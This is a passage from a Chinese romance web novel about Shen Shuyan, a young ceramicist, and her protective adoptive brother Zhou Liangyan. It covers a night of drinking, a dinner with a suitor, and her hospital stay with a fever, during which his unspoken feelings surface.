等电梯的时候,有风从玻璃门处往里吹。
吹乱沈舒言的长发,也带走一丝迷乱,她的眼皮掀起,睁开一道儿缝,与周良宴的视线在半空中相撞。
熟悉的沉香味又悄然溜至鼻尖,顿觉没来由的心安,又由着身子搂着气味来源更紧一些。
自己正处在那样难熬又磨人的情绪中,在这样的状况下,被熟悉的气味包裹,让人莫名的产生一种深深的依眷。
周良宴身形一顿,大步迈进电梯,摁下目标楼层。
到家后,为了防止宿醉后头痛,他想去熬点醒酒汤给她喝。
奈何怀里的人丝毫没有要松开手的意思,在察觉到自己要被放在一边时,她收紧胳膊,抱得更紧。
周良宴没办法,只能轻声哄着和她商量,“言言,你先躺一会儿,我去给你熬点醒酒汤。”
沈舒言摇头,撇嘴,“我不要,我不喝。”
周良宴轻叹一口气,坐在沙发上,沈舒言被他抱在怀里,“可是你不喝的话,明天会头痛。”
怀里的人没反应,脑袋埋的更深,靠在周良宴身上,听着他的心跳,嘴里不知道嘟囔什么。
周良宴没听清,将耳朵凑近,“嗯?”
没察觉到怀里的人抬头。
他忽觉耳尖触到一阵湿意,带着果香的气息似有若无的附在他的后颈。
周良宴终于听清楚那句话。
她说:“哥,我好难受。”
男人的眸子暗了几分,喉结上下滑动。
他轻声问:“怎么了?”
没听到回应。
只有一声接着一声的呜咽。
其实她之前也是敢放声大哭的,宣泄着自己的各种情绪,或委屈,或不甘,或生气。
可到周家以后,她就很少哭,即使是哭,每次也都是静悄悄的,压抑的,克制的。
她只敢流出眼泪,不敢发出声音,她怕自己的哭声惊扰到养父母,怕自己被当成不听话的累赘,怕自己被讨厌。
就像现在一样,她想做自己想做的事,可她害怕。
听到哭声,周良宴蹙起眉毛,镜片下的眼睛里露出慌乱,他极少允许自己的情绪显露,只有沈舒言是例外。
他俯身抽了纸巾,温柔地替她擦拭泪水。
几张纸巾丢进垃圾桶,还没在沙发上坐好,她的泪就已经又涌出,越来越多,擦不尽似的,像是被戳了个小口的透明袋子。
沈舒言垂着脑袋,光哭,不说话,哭的特别压抑。不是那种嚎啕大哭的宣泄情绪,是一种特别委屈的闷哼,感觉在心中有化不开的郁结。
周良宴连哄带骗的问她。
她也只摇头,不开口,闭眼呜咽着往他怀里钻。
不管现在已多大年纪,她只想缩在最安全的地方。
周良宴被她这样的动作惊得身形一顿,就要起身将人放在一旁,可看到沈舒言难受的皱眉,仿佛在睡梦中也苦不堪言,他又敛眉,拨开她被薄汗黏在脸颊上的发,“言言,我不走,我去给你倒杯热水。”
没有回应。
他轻轻把怀里人的脸颊扶起,两人的视线在空中撞到一起。
“言言,只需要1分钟。”
“我保证。”
话音落下,周围的一切仿佛定格,表盘里的指针不再走动,在带着水汽与黏雾的虚晃空间,只有两人交汇的眼眸中缠绵着诱人缱绻的亮。
几分钟后,沈舒言这才松开环着周良宴的胳膊,放任他将自己放在沙发上。
她轻声喊了句,“哥。”
可有着乌亮瞳孔的眼睛依旧闭着,不见下文。
她是突然想起的,饭桌上唐阿姨说的话。
她说母亲着急想抱小孙女儿了。
其实早在沈舒言上学时,家里人就已经开始给周良宴安排介绍相亲对象。可他每次都是礼貌婉拒,用的理由是,现下自己的妹妹需要人照顾,他无心谈恋爱。
周良宴说的妹妹,就是还在读书的沈舒言。
可严谨华不吃这一套,皱着眉,“言言有我们照顾,你不用操心。”
周良宴依旧不为所,挑了个家里人都在的时候再次说明,他最近几年都没有成家的打算,希望各位长辈不要再随意介绍,免得耽误别人家的姑娘,给周家落个不好的名声。
可到现在,周良宴如今的年龄,大部分男性应该都来始考虑结婚了,有的人节奏快,抱孩子也不足为奇。
周良宴倒完热水回来,“喝点水。”
“哥,你一直不愿意相亲,”沈舒言开口,“真的是为了照顾我吗?”
“怎么了?”周良宴走几步过来,坐在沙发边缘,习惯性的用手背去触她的脸颊,有些烫,应该还是迷糊的,“长大了,开始操心起我来了。”
沈舒言缓缓闭上眼睛。
她从平躺换至侧躺,将周良宴的手掌压在脸颊下,轻轻蹭了蹭,找了个舒服的位置后才继续说:“我只是在想,虽然我没什么用,但是能帮你挡一挡家里的相亲也挺好的,毕竟跟不喜欢的人一直吃饭约会看电影是挺难受的。”
说完这句,她又用双手将周良宴的手腕环住。因为酒精的作用,胳膊还是软绵绵的,虚握着他的手腕。
虽然现在哥哥遇到的都是不喜欢的人,但是总有一天自己的他会遇到自己的爱人,他们会组建幸福的家庭,想到这里,她心底突然有种不可言说的失落。
如果说世界上有谁希望周良宴能获得幸福,沈舒言坚信那个人一定是自己。
可………
很难表述自己现在的心底复杂的情绪,最后将它们全部归咎于酒精作祟。
周良宴将她打横抱起放在卧室的床上。
寂寥的冷冽月光下,他如雕塑般,在她的床边站定良久。
-
早上吃饭时,周良宴不动声色
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的往沈舒言哪儿看了一眼,虽然脸色还有些苍白,但好在精神头还不错,应该已无大碍。
沈舒言巴拉了几口饭,“哥,我昨天没耍酒疯吧?”
之前和班里同学聚会时,她见过太多喝醉酒的人,那些人醉酒后与清醒时判若两人,平日里在班上说不了几句话的人变成了话痨,高冷的班长哭着要给前女友打电话。
沈舒言自成年后再也没喝醉过,她怕自己也会像那些人一样,做出一些奇奇怪怪的事。
周良宴望她一眼,面上看不出情绪,“没有,你回来后就睡了。”
沈舒言低头喝了一口汤,她暗自庆幸,“那就好。”
房间里重新陷入安静,过了一会儿,周良宴才说,“以后少喝点酒。”
“嗯,知道了哥。”
周良宴这样严厉不是平白无故,沈舒言从小身体就不是特别好,免疫力很低,刚来周家的时候经常生病,一个月有好几日都是在床上度过。
那时周明竹就叮嘱过周良宴,父母不在的时候一定要好好照顾妹妹。
周良宴认真的点头。
他的心里从那时就埋下了要永远照顾妹妹的种子。
面对周良宴的絮叨,沈舒言只安静听着。
她知道他是为自己好,像他们见面时他说的那样。
实际上,那天的状况实在算不上好。
沈舒言又被福利院的孩子作弄,关进废弃的杂物间里。
她不停的拍打着木门,又怕声音太小,开始用自己的身体撞击,希望可以被路过的老师听到。
不知道过了多久,也不知道已经用身体撞击了几次,只知道自己用尽全力丢呼救毫无效果。
她仿佛被关在世界最角落最阴暗的地方,被隔绝在所有人之外。
紧接着就是绝望,车祸带来的ptsd在黑暗的环境下被刺激的更加猖狂,本就瘦弱复身体在与木门撞击后也早已经疲乏不堪。
她像被风吹落的秋叶那般摔倒在地上,摔倒在脏乱的杂物间里,她一度觉得自己要死了,无言的死在漆黑的寂静中。
只是那时的她不知道,跟着父母过来的周良宴就与她一门之隔,他在一声又一声沉闷的撞击声中被指引过来。
幸好那些人把戏简单,上锁后后钥匙就挂在门上。
周良宴打开了房门,并扶着带走了她。
出福利院时,两人并排走着。
十二岁的周良宴笑容温暖的像太阳,牵起她发冷的手:“言言,哥哥以后照顾你。”
人大脑的储存空间有限,现在回忆起来,沈舒言只记得那时每到夜晚都会降临的恐怖情绪。
她整夜被无尽的梦魇缠住,漆黑的房间里好像突然凭空长出无数只骇人的利爪,它们掐住她的脖颈捂住口鼻使她无法呼吸,让她一遍又一遍的回到那个午后那辆翻滚的小汽车里,胸腔被挤压的喘不过气。
不知是汗还是血的液体混合着流进眼睛,嘴里呜咽像被细密的砂砾堵住,怎么挣扎嘶吼也发不出一个音节。
睁开眼后偌大的房间里只有漆黑,黑夜吞噬了所有的一切,包括她仅剩的行动力。
她小心翼翼的挪动,连同被褥一起拖进狭小的衣橱隔间,以此来获得安全感。
细微的开门声响起,有人和她一起挤进衣橱。
她觉得自己的身体被温暖包裹着,周良宴拍着她的后背,轻声安慰,“言言,不怕。”
那夜之后,每每失眠的她都会抱着枕头爬到另外一张床上,听周良宴轻声讲美好的童话故事。
往后的数十年,长此以往的依赖,他变成她的“安全岛”。
她对他无法控制的建立起难以言说的依赖感。
就像现在这样,身体和精神最脆弱的时候,他沉默的陪在她的身边。
9. secret
周良宴走后,沈舒言把自己整个扔进床里,眼皮又沉沉的往下坠。
再次睁眼时已经是下午快三点,偌大的房间里异常安静,她眼睛睁得很大,直直看向天花板。
倏然间,她意识到,又只剩自己一个人了。
沈舒言是大一那年搬出来自己住的,按理说多年的独居生活她应该早已经习惯。
可是也不知道为什么,这段时间她总会在某个瞬间,由心底不经意的划过些许浓厚的孤寂和惆怅。
仿佛一睁眼就会莫名染上化不开的忧郁,心脏被密网罩住不断收缩。
她曲起胳膊盖在眼睛上,大脑开始放空。
以前她是母亲和父亲的乖女儿,无论是在学习还是生活中都由家里一手操办,小到衣服的款式颜色,大到报考的学校和专业。
她从六岁到如今快二十六岁的年纪,都在微笑着尽全力扮演“好孩子”的角色,什么都不用做,只需要乖乖听话,做妈妈眼里的完美女儿。
可现在…………
正想着。
随手扔在一旁的手机叮咚响起声音,她闭着眼翻了个身,拿起手机点开消息页面。
是际琛,“言言,你还好吗?”
还好吗是什么意思?
沈舒言皱起眉,想了好一会儿,才将昨天晚上的事情七七八八的串联起来。
际琛就是赵岚娜嘴里那个神秘的帅哥主场。
可再想要回忆起更多的时候,大脑开始罢工,她对后面发生的事情一概不知。
........
不知道如何回复这条消息,沈舒言盯着白色的信息条,不说话。
纤细的手指在手机屏幕上敲击,聊天框里的字打打删删好几次也组织不出一条完整的语句,只能暂时把手机息屏搁在床边的桌子上。
闭目几分钟,她才用手肘撑起上半身,拿起手机点开赵岚娜的头像。
现在这个点,她应该已经醒了。
沈舒言:【昨天什么情况,我实在记不起来了。】
沈舒言:【际琛有过来找我?】
过了没几分钟。
赵岚娜:【昨天?昨天你喝了满满一大杯的lrishMist,喝完就一整个不省人事。】
赵岚娜:【他当然过来了,不仅来了,而且他那眼睛都黏在你身上,关心的很呢。】
果然,喝酒误事。
回复完赵岚娜的消息,沈舒言思索片刻点开际琛的头像。
她总不能一直给人家这么晾着。
两人聊了几句,际琛再次提及吃饭的事情。
这已经不知道是第几次,沈舒言不好再继续推脱,回复说最近刚好有时间,他们可以一起去简单吃个饭。
时间就约在一周之后。
过了下午六点,际琛来沈舒言上班的地方等她,工作室的同事都已经下班,他进门的时候刚好和她们打了个照面。
际琛心情极佳,微笑着和迎面走来的人打招呼,而后迈步走到工作室里。
沈舒言正在细致的用一块海绵轻轻擦拭手中已经定型好的花瓶状坯体。
他好奇的问:“这是要把它擦干净吗?”
沈舒言的头没抬,回应,“差不多吧,不过不是在擦脏东西,是在用海绵在吸掉多余水分,防止水分太多导致在干燥过程中开裂。以前我偷懒总是不擦,好多都裂开了。”
说完她也顾不得继续回应,手上微微施力在口部轻轻用力擦拭,可以使口部更加光滑圆润。
夕阳西下,最后一缕昏黄透过窗户洒进屋内,落在沈舒言的侧脸,她的脸漂亮精致,海藻般的长发被随意挽着,阳光透过发丝,像是神明为她打上一层柔和的光,她整个人都沐浴在夕阳下的最后一缕暖色中。
沈舒言抿着嘴认真的盯着手中的物件,终于完成了艰巨的收尾工作,她长舒一口气,将东西小心翼翼的放好。
今天中午太忙,她吃饭时也只随便扒拉了两口,到现在快几个小时肚子已经饿的咕噜噜叫着抗议。
餐厅际琛是选的,离沈舒言上班的地方很近。
没过多久,到达目的地,应该是一家新开的私房菜馆。
不似别的餐馆那样招摇蓬勃的烫金大招牌,单单从门头都能看出这家店的素雅质朴,几把木质的藤椅放置两边,木门上有个很小的招牌,上面写着初禾食记。
内里是很有年代感的小院,园内种着几棵矮树,树下放了一张圆桌几把木椅,台阶上还有几米的空地,3个窗户连在一起,里面的有昏黄暖调的光从玻璃窗往外渗。
沈舒言抬头打量,她盯着前面看过几秒后才开口说:“好有意思的布置。”
际琛闻言顺着她的目光,开口介绍:“这里其实之前是个小学,好几年前废弃后被老板买下,然后就在一楼开了家私房餐馆,知道的人不多。”
听到解释,沈舒言点头,再次认真的打量,右侧有一道小木门,以往写着几年级几班的位置上如今是初禾食记四个字,上面有一盏款式较老的台灯打着光。
从门内进去再往里,已经有专人等待,引着两人往二楼走,一段木楼梯后,走廊两侧是由深檀色木板装饰,墙壁上无一例外,都是暖调的打光装饰。
面对面落座,不知道这家餐馆味道如何,只能估摸着点。
几分钟后,菜品逐渐上齐,沈舒言率先打破沉默,“我们吃吧,好饿。”
她是真的好饿。
际琛微笑着点头,注视着她。
沈舒言偏爱甜食,不过也很挑剔,有时候赵岚娜都会吐槽,她说,我们言言嘴里的甜和别人说的完全不是一个甜,她有自己的甜味衡量标准。
这家店的鲍鱼红烧肉她就格外喜欢,五花肉的油脂被炖煮出来后变得十分柔软,入口即化,肥而不腻,她一连吃了两碗米饭。
等她嘴里的东西嚼完咽下去后,际琛才状似无意的问:“听我妈说,你要开工作室?”
“嗯.....”沈舒言放下筷子,“是有这个打算。”
“选好开在哪里了吗?”
沈舒言摇头,“暂时还没想好,不过不出意外的话应该就是文创园那边。”
际琛点头,看沈舒言隐有要结束用餐的意思,便叫服务员把刚才的甜品送上来,“尝尝,我记得你很喜欢甜食。”
沈舒言微诧,抬头看他,“你还记得这个。”
她拿起勺子尝了口,送进嘴里的食物轻盈的像一朵胖胖的带着淡淡甜味的云,里面还包裹着青苹果和山核桃,甜而不腻,确实好吃。
到最后,吃饭也真的成了吃饭。
两人偶尔聊聊工作,倒也意外的没有不自在。
只是这顿饭全程几乎都是沈舒言一个人在吃。
际琛就刚开始动了几筷子,后面基本是在看着她。
肚子被填的饱饱的,沈舒言靠在椅背上小猫似的翘起嘴角。
难得一见的笑容,让际琛恍惚间觉得包厢里的顶灯都比之前要更亮了几分,他忍不住想仔细看个真切,又怕有所冒犯,只能端起水杯喝水掩饰。
沈舒言也没想到自己能和际琛度过还算愉快的晚饭时光,离开的时候,天空飘了小雨,际琛和她一起出包厢,两人前脚
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刚走到一楼,便有服务生追着出来。
她的声音不大,但足够被听清楚,“先生,您女朋友的包忘拿了!”
/
此刻这家店的另一间包厢内。
周良宴最近工作忙,难得有空闲时间就被李明哲硬拉过来吃饭。
他把手机放在桌子上,开门见山,“什么事,我忙得要死。”
李明哲轻咳了声,揣着明白装糊涂,“什么什么事?
两人十几年的交情,周良宴不想兜圈子,他低头泡茶,间隙抬头看了对面的李明哲一眼,不耐烦的开口:“有事就说,没事我走了。”
“哎哎哎,”看着人真有要走的架势,李明哲急了,“你看你这人,我想你不行啊,天天待在你那办公室,叫都叫不出来,一天除了吃饭睡觉上班没其他事儿了,你闷不闷啊。”
周良宴把茶递给他,“别说废话。”
李明哲啧了一声,“真的!你一天进了公司跟进和尚庙一样,你看跟我出来聊聊天吃吃饭多好。”
“我没空。”
这边话音刚落,李明哲才打开手机放在桌面上推到他面前,“哎呀,我有正事,找你拉个投资。”
周良宴眼都没抬,“你自己钱败光了?”
李明哲急忙开口,“别咒我好嘛。”
周良宴抬头挑眉,“那你现在逗我玩儿呢。”
李明哲:“哎呀,瞧你这话说的,我主要想让你给我把把关,咱哥儿几个一起做点事玩玩儿不挺好的嘛。”
周良宴冲泡了一壶茶,出汤后倒入眼前的瓷杯中:“没兴趣,钱你要多少我可以借给你,项目我不参与。”
说完不等李明哲回复,他拿着手机站起身,“没别的事儿我走了,你自己吃吧。”
李明哲看他都快走到门口,却也不急,伸个懒腰后胸有成竹,“哎呀,言言前几天可给我打了好几次电话。”
说完这句他就不再继续,只在心里开始默数,便看到已经走到门口的周良宴停下动作,“有话就赶紧说。”
李明哲笑,“不忙啦。”
周良宴不说话,转身又回到位置上。
李明哲清了下嗓子,“言言不是要开工作室,她打电话让我帮忙留意文创园那边有没有合适的房子出租,租金合适的话她就直接拿下。”说完他又补了一句,“你真是要好好反思一下,是不是都不关心人家,言言现在都不找你。”
周良宴眼神深沉,盯着面前的茶杯,而后他抬眼往对面扫了一圈。
盯得李明哲莫名有些心虚,然后他才将目光收回,重新落在眼前的白瓷茶杯上,“怎么不说了。”
此话一出,李明哲悄然噤声,嘻嘻哈哈地往周良宴面前的白瓷杯里添茶,“得得得,是我多嘴。”
包厢突然没人说话,静了一瞬,话题也算揭过。
吃饭中途,李明哲出去接了个电话,回来时一脸八卦,“我刚看到言言和一个男的在一起。”
说完不理会周良宴看着他的目光,继续推理,“应该是她男朋友。”
周良宴面上依旧是一贯的慎肃,拿起桌面上的电话,拨通号码。
隔着窗玻璃,他望向楼下的小院,看着一同往外走的两个人。
电话那头的人说自己正在回家的出租车上。
他平静的嗯了声。
“外面好像下雨了,”周良宴说,“注意别感冒。”
耳侧传来沈舒言含糊不清的回应,她又说:“好,知道了哥。”
身后追来的服务员把沈舒言的挎包递给她,不知道说了什么,逗得两人都在笑。
10. secret
到家里时,雨已经下的很大,落地窗外一片模糊,整个北城都被笼罩在磅礴的雨幕中。
沈舒言在电梯里,她拢了下身上的外套,环臂站立。
想起刚才的电话,她没跟周良宴说自己和际琛在一起吃饭,毕竟前几天还说自己和际琛没什么,转头两人又在一起吃饭,总感觉怪怪的。
打开公寓门,径直走向卧室趴在床上,半张脸掩在被子里。
随意扔在一边的手机发出震动,闭着眼摸索拿到手里。
电话接通,赵岚娜佯装生气,问:“臭丫头,我不给你打电话你是不是就不准备给我打!”
“最近在忙嘛~”
声音很轻,软软的传进话筒里。
带着点撒娇求饶的意思。
赵岚娜很吃这一套,想起自己前几日看的《甄嬛传》,轻咳一声,“我就这么轻易原谅,会不会骄纵了你。”
沈舒言笑出声,她起身把窗帘拉开,顺势坐在柔软的地毯上,“当然不会!”在听到话筒那边的嘈杂后又问,“南城没下雨?我刚从外面回来时这边在下小雨。”
“没有,天气很好,”赵岚娜语调轻快,抓住重点,“出去了?坦白从宽,抗拒从严,跟谁出去的。”
“际琛。”
“他?”赵岚娜不淡定了,语气里掩不住笑意和八卦,“你们什么情况?”
窗外的雨下的更大些,泼倒一般。
“没什么情况,简单吃个饭。”
“言言,”电话那头的赵岚娜缓缓开口,“其实我觉得你可以试试,大胆一点,合适就继续不合适就掰,就当生活的调味品。”
沈舒言站起身,踱步走到床边躺下,带着笑意,“知道啦,我的爱情导师。”
两人又寒暄几句,才结束通话。
沈舒言闭目躺了一会儿,猛地坐起身,拿起手机给周良宴发消息,说自己已经到家了,让他不要担心。
消息发过去,她没有动,静静看着手机聊天框的页面。
沈舒言时常觉得,虽然周良宴只比自己大六岁,却从小将她照料长大,比起同辈分的哥哥,他更像是大了自己一辈。
平日里还好,今天许是因为撒了慌,她心底莫名升起一股向长辈撒谎的慌张,一直正襟危坐的坐在床边。
大约是手机刚好拿在手上,周良宴那边回复的很快。
「回家就好」
下意识松了一口气,她把手机扔到床上,走进浴室。
-
清晨雾气蒙蒙,夏天的雨入住北城,淅淅沥沥的飘在空中,大片的乌云散在天边,似乎在准备迎接狂风暴雨的来袭。
沈舒言张开双臂舒展身体,虽然人已经醒了,但眼皮依旧沉沉的盖在眼睛上,她缓了好一会儿,才半眯着眼睛,起身光着脚把厚重的窗帘扯开。
据说人类听到雨声会有一种安全感因为远古时代,暴雨的时候大型动物会躲起来,这样人就安全了,可以安稳地睡一觉。
所以雨声助眠,沈舒言想应该也是有道理的。
她觉得自己的脑袋很沉,简单吃了早餐以后又重新埋进床里。
不知道睡了多久,再次醒来时,是被雷声吵醒的,想起身时察觉到身体有点不对劲。
她此刻浑身软绵绵的毫无力气,从骨头里往外渗出的麻与痛揉杂在一起。人常说,骨头是顶坚硬的,她现在却有种骨头被病毒攻破城池后在上面烧杀抢掠的荒谬想象,她感到自己骨头缝里都钻心的疼。喉咙干痒无比,一股浊气狠狠的扒在喉咙上,上也不行下也不行。
她知道自己应该是发烧了,强撑着身体,找不到退烧药,只能往嘴里灌进一大口凉水,加了一床被子后又昏睡过去。
她小学时是就是很容易生病的体质,总是感冒发烧,动辄请假一周,时常的缺勤让她始终交不到什么知心的好朋友。
好在回到家里时总还有一个人会陪着她。
那个人是谁呢,沈舒言头脑昏沉地想。
再次醒来时唯一的感受就是热,整个身体被厚厚的被褥包裹,烘的全身发烫,像是在烈日下暴晒不知多久。
不能再这样放任下去,沈舒言虚着力从被褥里抽出身体,胡乱套了身衣服出门打车直奔医院。
好在医院人不算太多,沈舒言等了十几分钟便叫到她的号。
护士帮她测温,看清度数后皱眉,“快40度了,现在才来?”
沈舒言大脑一片模糊,没什么力气解释,只垂眼轻轻摇头。
接诊的医生注意到她苍白的脸色更是啧了一声,交代道:“先去输液室打一针退烧针,等你血项检查出来再看看具体什么情况,严重的话需要住院。”
“啊?”沈舒言愣了一下,“不用住院吧,医生。”
“我是医生你是医生,你们这些年轻人就是太自以为是,总觉得自己扛一扛就能过去,一点不爱惜自己的身体,既然现在都来医院了,那就好好治。”
沈舒言的翕动唇瓣,最终也没说什么,默默地跟着护士往外走。
走进一间单人病房,护士示意她躺在病床上,“先给你打针,顺便采血,你通知家属过来陪护。”
沈舒言闻言,迟疑一瞬,脸上又浮现出要拒绝的意思。
护士又说:“你叫人过来陪护了吗?发烧这么严重要肯定住院,没人陪护不行的,小姑娘。”
话已至此,沈舒言没法拒绝,磨磨蹭蹭的从包里拿起手机点进通讯录一点点往下滑。
一个个人名从指尖划过,她拿不定主意。
刚对哥哥撒过谎,沈舒言现在还没那个胆量见他,赵岚娜又恰巧不在北城。
几分钟后,她准备碰碰运气给李明哲打电话。
电话很快被接通,对面先出声,叫了她的名字,只两个字,让沈舒言睁大眼睛心头一紧,募地收了声。
她将手机移回眼前,才发现自己竟不小心摁到周良宴的电话。
屏幕因为长时间没操作已经变暗,只亮着一点微弱的光,周良宴如玉石般沉稳的声音从听筒传出,清晰的敲击着沈舒言的耳膜。
“言言,怎么不说话?”
该说什么呢?
她不想打电话给周良宴,毕竟自己刚对他撒了谎,她没办法做到若无其事,况且她不能总是一有事就找他,她终归要学会一个人面对。
还没等沈舒言开口说话,手机已经被旁边的人拿走,她下意识抬眼,听见护士对电话那头的人说明现在的状况。
“你好,是病人男朋友?”
“她高烧不退在急诊,等会可能要住院,你过
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来陪护一下。”
下一秒,手机被挂断。
沈舒言刚才沉默的盯着手机屏幕,犹豫不决的样子被护士当成和男朋友吵架,电话挂断后也没看备注,“吵架归吵架,现在这个时候还是让他过来照顾你比较好。”
不是吵架,是她单方面心虚。
沈舒言想。
周良宴接到电话时,正在开会。
清楚情况后就暂停会议,以最快的速度往医院赶。
他很少有现在这样急躁的时候,明知天气恶劣应该减速慢行,可就是忍不住频繁踩油门加速。
-
退烧针打下去,沈舒言整个身体都感觉跟着舒服起来。
大脑硬撑着运作了那么久,困意又渐渐袭来,眼皮沉沉的往下坠,在意识消散之前,她似乎看到一道熟悉的身影推开门走进病房。
已经来不及瞧个仔细,眼睛闭的严实。
自己仿佛在一道透明的玻璃罩中,外面的一切都被按下静音键,声音忽远忽近的飘进耳朵,听不真切。
忽然,她察觉到自己额间贴上一只还带着寒意的手掌,鼻尖又嗅到熟悉的木质男香。
身体彻底放松下来,沉沉睡去。
周良宴拉开椅子坐下,温柔的注视着床上的人。
他也只有在她睡着的时候,才敢这样肆无忌惮的望着她。
沈舒言安静的睡在病床上,呼吸均匀而又绵长,如扇般打开的睫毛轻轻覆盖在眼睑,暖光倾泻,高挺的鼻梁中和了那份恬静,仿佛希腊神话里沉睡的阿尔忒弥斯,圣洁柔和又触不可及,让人不舍惊扰。
自两人长大后,不像再小时那样不论性别的睡在一起,他也克制住自己尽可能少的闯入她的私人领地。
很难想象,沈舒言就这样安静的睡在自己身旁。
他甚至从来不敢生出这种念头。
或者说,他知道这念头的根源是违背道德的,不伦的,甚至肮脏的。
眼前这一幕仿佛上天的恩赐,怜悯他难以言说闷在心口的苦涩。
周良宴看着窗外的雨,无声息的叹出一口气,妄图乞求这漫天的雨水可以浇灭他心中连天的烽火,抑制住一旦被露水灌溉就肆意疯长的肖想。
不知道过了多久,沈舒言睁开眼睛,眼前的一切都是模糊的,片刻后才逐渐清晰起来,周良宴正抬头看输液瓶。
察觉到有动静,他垂眸与她对视。
周良宴应该是从公司急匆匆赶过来的,身上还是一成不变的深色西装,椅背上搭着一件已经被淋湿大半的黑色大衣。
沈舒言瞥见一旁桌子上的文件,耳边是滂沱的雨声。
她垂眸,轻声说:“哥,耽误你工作了。”
当初有意在两人中间划上界限时,就该想到的。
可她如今对自己这样客气,周良宴的心还是不可控的下沉。
他没说话,探身摸她的额头,确认已经退烧。
须臾,才垂眸望向她没有血色的唇,不甚在意的摇头,“不忙。”
他的声音中带着淡淡的哑涩,琥珀色的瞳孔透过镜片牢牢的锁着她,双眼透过她的眼睛,直直的望进心底。
他的眸里好像有种情绪呼之欲出。
她一时征愣,只是瞬间又以为是自己的错觉。
11. secret
两人都没再说话,只有雨声在病房里蔓延。
沈舒言身体还虚着,病床边昏黄色的光映在她的侧脸,她像只小猫一样将自己藏进被褥里,只露出眼睛在外面,借着朦胧的光影偷偷看向旁边的沙发。
周良宴已经换上助理送来的干净衣服。
一件简约款深灰色的衬衫,打眼看上去有些单调无趣,但衣服剪裁得体,一丝不苟的包裹着男人饱满紧致的肌肉线条,衬衣下摆被扎进西装裤中,腰肢劲瘦,宽阔厚实的背肌将衣服撑的挺括。
顶部斜射下来的暖光飘忽,在他的周身染上一层金色的光晕。
沈舒言的意识因额间的发烫的温度还在外太空游移,她有一瞬间的失神,仿佛又回到很久的从前。
从小她体质就弱,稍有不慎便会感冒发烧。
那次也是一个下雨天,忽如其来的降温导致疾病突袭。
偏偏大人都不在家,诺大的别墅只有他们两个人。
周良宴坐在床边,目光一直注视着床上的沈舒言观察她的情况,少年气的脸上不见一丝慌乱。
床上的人脸颊绯红,额角已有薄汗。
他起身把被角掖好,接了一杯热水放在床头。而后走到客厅翻出药箱,把里面感冒药摆到桌面。
她常喝的药他早已烂熟于心,等水到了适合的温度,他才轻声开口,“言言,张嘴。”
床上的人已经难受的皱起眉毛,紧闭嘴巴。
他温柔的眸子锁在她身上,“言言听话,张嘴。”
过了好几分钟,沈舒言不情愿的张开嘴巴,发出的音节都粘在一起,她半眯着双眸,语气里携着哀求。
“哥,太苦了,不喝好不好。”
周良宴拿出准备好的糖果,哄小孩儿一样,“言言听话,乖一点,等会吃糖就不苦了。”
他一句一句轻声哄着,才哄得床上的妹妹将杯中最后一口药喝完。
沈舒言嘴里咂巴着甜味,模糊的意识里只听到杯子轻轻放在桌面的响动。
是很轻的声音,在寂静的夜晚里悠悠飘进耳朵,沈舒言掀开不住下垂的眼皮,沙发上的人下意识人抬头。
两人的视线在空中交汇,昏黄光影中的五官与记忆里的重合。
只是年深月久,男人的眼底不知何时蒙上一层怎么也看不透的复杂情绪。
他幽深的眸子透过镜片望她,问:“吵到你了?”
意识回笼,脑海中的思绪被打乱。
沈舒言反应慢了半拍,睁着困倦的双眼,窝在被褥里的脑袋轻轻摇晃几下,“没有。”
她的手指无意识挠了下掌心,又说:“很晚了。”
“嗯,你先睡。”
他敛回视线,头也不抬,看着没有要走的意思。
睡意来袭,沈舒言翻身转向窗边,明天大约会是久违的晴天,从屋内望窗帘缝隙满眼都是繁星,像横亘在浅色布料上的银河。
终于可以晒晒太阳了,她想。过了一会儿,将被褥往上拉了拉,只留眼睛在外面,蜷缩着身体沉沉睡去。
沈舒言在窗帘被拉开的声音中迷糊醒来,睁开眼时,病房里只剩她一人,沙发上已经没有那个熟悉的身影。
撑着身子靠在床头,她不知道周良宴是什么时候离开的,只记得进入梦乡时,他还坐在一旁的沙发上,浸在昏黄暗影中。
挂过几瓶吊水,身体已经有明显好转,只是身子还有些乏困无力。
“差不多今天下午可以出院了,”护士拿起笔在本子上记录着什么,写完后抬头,“幸好你来的及时,不然指不定要住几天院。”
沈舒言点头,恍惚的说了声谢谢。
护士嘴角带着笑摆摆手,再次开口:“等出院了和男朋友出去看看电影散散心,小情侣哪有不吵架的,我看他上心的很。”
医院每晚都会有安排护士按点例行查房,今天一到护士站交接时就听到值夜班的同事谈八卦,说每次来这间病房,都能看到那个男人坐在床边望着病床上的人,眼神柔的能化出水儿来。
沈舒言没有上帝视角,她自然不清楚。
昨晚有人在自己病床前坐了一夜,借着从缝隙处撒进来的月光望着她,琥珀色的眸里显露出从未有过的温柔。
只能干笑几声,她还没来得及解释两人的关系,护士就已经开门出去了。
今天如愿是个大晴天,窗帘拉开至两边,阳光铺满了房间的每个角落。
沈舒言靠在床头望着窗外发呆良久,直到肚子咕咕叫了一声,才想起自己从睁眼到现在还没有吃饭,从床头柜拿过手机点开外卖软件,周良宴的电话打了过来:“言言,醒了?”
“嗯。”
“吃饭没?”
“还没有,刚准备点外卖。”
电话那头停顿一秒,说:“不用点了,我在兰桂坊。”
沈舒言想到他昨夜的忙碌,开口:“哥不麻烦了,我随便吃一点就好。”
“等着。”周良宴说,“我马上到。”
话音落手机传来嘟嘟声,不给人拒绝的机会。
等待的功夫,沈舒言起身去卫生间简单洗漱一番,将头发扎起来后便坐在床上休息。
没过多久,周良宴来了,手上提着一个精美的食品盒,里面的餐食被一样样端出来:蟹黄土豆泥,小炒嫩牛肉,清炒莲藕,松茸炖豆腐,玉米排骨汤。
顾忌着还未痊愈的病患,他带过来都是些比较清淡的菜肴。
沈舒言举起筷子往嘴里塞了片牛肉,肉质很嫩,因为被切的很薄所以极其入味儿,食物的香味儿萦绕鼻尖,口腔里充斥着满足感。
本来因为身体不适而消失的食欲像咬到钩子的鱼儿被一点点钓起来。
周良宴尝了一口,而后便不动声色的注视着她,等她咽下嘴里的食物后才出声询问:“辞呈递上去了吗?”
沈舒言放下手中的筷子,回答道:“嗯,这周五就正式离职。”
周良宴点了点头,“你的工作室进展怎么样?”
听到这话,沈舒言如临大敌般正襟危坐,她放下筷子轻咳一声,斟酌几秒才说:“嗯,还在初期,已经托了朋友帮我找合适的房源。”
“找到了吗?”
“目前还没有收到消息。”
周良宴看她一眼,平静的问:“你那个朋友我认识吗。”
明明是问句,却像是在陈述某种事实且没有任何询问的意思。
让沈舒言有种李明哲已经将事情全盘向他脱出的错觉,可转念又觉是自己草木皆兵胡思乱想。
她轻咬下干涩的嘴唇,皱眉思考该如何回复。
